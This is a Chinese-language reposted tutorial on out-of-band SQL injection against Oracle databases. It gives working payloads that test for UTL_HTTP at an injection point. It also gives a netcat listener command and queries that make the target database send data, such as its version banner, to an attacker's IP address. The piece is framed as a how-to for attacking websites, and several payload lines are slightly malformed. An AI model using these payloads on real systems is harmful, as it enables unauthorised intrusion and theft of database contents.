有时候网站限制了经典的union select 联合查询,此时也同样可以利用Oracle的一些特性进行注入攻击
例如,在Oracle中提供了utl_http.request包函数,用于取得过程的web服务器的请求信息,因此,
攻击者可以自己监听端口,然后通过这个函数用请求将需要的数据发送反弹回头,
正是由于在Oracle中提供了丰富的包和函数,以及存储过程,即使只有一个注射点,
也可以在Oracle中做任何事件,包括权限允许和权限不允许的。。。
利用UTL_HTTP存储过程实施反弹注入攻击的方法如下:
1
判断UTL_HTTP存储过程是否可用,
在注射点提交如下查询:
and exists (‘select count(*) from all_objects where object_name=’UTL_HTTP’)
如果页面返回正常,则说明UTL_HTTP存储过程可用
2
监听本地端口
首先,在本地用nc监听一个端口,要求本地主机拥有一个外网的ip地址,例如执行以下命令
nc –vv –l –p2008
监听本地2008端口
3
UTL_HTTP反弹注入
监听端口后,在注入点提交以下查询
andutl_http.request.(‘http://ip:端口/’||查询语句))=1
即可实现注入攻击,例如本机ip地址为202.202.236.236,监听端口为2008要查询Oracle版本,即可提交以下查询
andUTL_HTTP.request(‘http://202.202.236.236:2008/’||(select banner fromsys.v_$version where rownum=1))=1—
执行语句后,在nc监听窗口中就会返回注入查询结果信息
注意:每次在注入点提交一次请求,nc监听完之后就会断开,需要重新启动nc监听
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
好把!这是我在书上看到,以前不理解,现在才明白,就发出来的!!
可能有点鸡肋!对于jsp 遇到比较少!有了穿山甲也可以破出来,然后你懂的。。
转自DIS9由网络安全攻防研究室(www.91ri.org)信息安全小组收集整理.
Copyright © hongdaChiaki. All Rights Reserved. 鸿大千秋 版权所有
联系方式:
地址: 深圳市南山区招商街道沿山社区沿山路43号创业壹号大楼A栋107室
邮箱:service@hongdaqianqiu.com
备案号:粤ICP备15078875号